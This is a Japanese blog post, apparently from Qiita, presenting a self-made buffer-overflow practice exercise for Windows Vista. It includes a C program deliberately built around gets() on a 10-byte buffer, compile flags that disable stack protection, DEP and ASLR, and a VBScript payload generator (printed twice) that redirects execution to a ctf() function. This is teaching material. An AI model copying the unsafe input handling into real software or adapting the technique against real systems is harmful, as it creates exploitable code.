1. ohisama@github

    No comment

    ohisama@github
Changes in body
Source | HTML | Preview

概要

pwnの練習問題、作って見た。
windowsで、やってみた。

環境

windows vista 32bit
visual studio 2010

練習問題

下記の、プログラムの脆弱性を突いて、ctf関数を実行せよ。

#include <stdio.h>

void ctf()
{
    puts("You Cool!");
    exit(0);
}

int main()
{
    char buf[10];
    gets(buf);
    printf("%p\n", buf);
    printf("%p\n", ctf);
    return 0;
}

コンパイル

cl ctf.c /GS- /link /nxcompat:no /dynamicbase:no

動的解析

落ちる。

echo "AAAAAAAAAAA" | ctf

方針

バッファオーバーフローでリターンアドレス書き換えて、CTF関数を実行させる。

解答

Function hex2bin(HexText)
    With CreateObject("Microsoft.XMLDOM").createElement("tmp")
        .DataType = "bin.hex"
        .Text = HexText
        hex2bin = .NodeTypedValue
    End With
End Function

Dim Hex
Dim Text
Hex = "41004100410041004100410041004100410041004100410041004100410041000000100040000000"
'Hex = "41004100410041004100410041004100410041004100"
Text = hex2bin(Hex)
WScript.StdOut.Write CStr(Text)
Function hex2bin(HexText)
    With CreateObject("Microsoft.XMLDOM").createElement("tmp")
        .DataType = "bin.hex"
        .Text = HexText
        hex2bin = .NodeTypedValue
    End With
End Function

Dim Hex
Dim Text
Hex = "41004100410041004100410041004100410041004100410041004100410041000000100040000000"
Text = hex2bin(Hex)
WScript.StdOut.Write CStr(Text)

実行

cscript //nologo hex2bin1.vbs | ctf

以上。